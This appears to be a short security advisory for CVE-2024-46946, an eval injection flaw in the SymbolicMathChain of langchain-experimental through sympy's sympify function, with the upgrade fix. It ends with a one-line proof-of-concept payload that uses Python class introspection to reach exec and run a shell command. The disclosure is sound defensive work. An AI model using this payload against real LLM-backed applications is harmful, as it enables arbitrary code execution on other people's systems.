Eval Injection Affecting langchain-experimental package, versions [0.0.58,0.3.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-LANGCHAINEXPERIMENTAL-8056288
- published 19 Sep 2024
- disclosed 19 Sep 2024
- credit 12end
Introduced: 19 Sep 2024
CVE-2024-46946 Open this link in a new tabHow to fix?
Upgrade langchain-experimental to version 0.3.1 or higher.
Overview
langchain-experimental is a package that holds experimental LangChain code, intended for research and experimental uses.
Affected versions of this package are vulnerable to Eval Injection in SymbolicMathChain component, through the sympify function. An attacker can execute arbitrary commands or code by supplying malicious input to this function.
PoC
sympy.sympify("this.__class__.__mro__[8].__subclasses__()[154].__init__.__globals__['__builtins__']['exec']('import os;os.system(\"id\")')")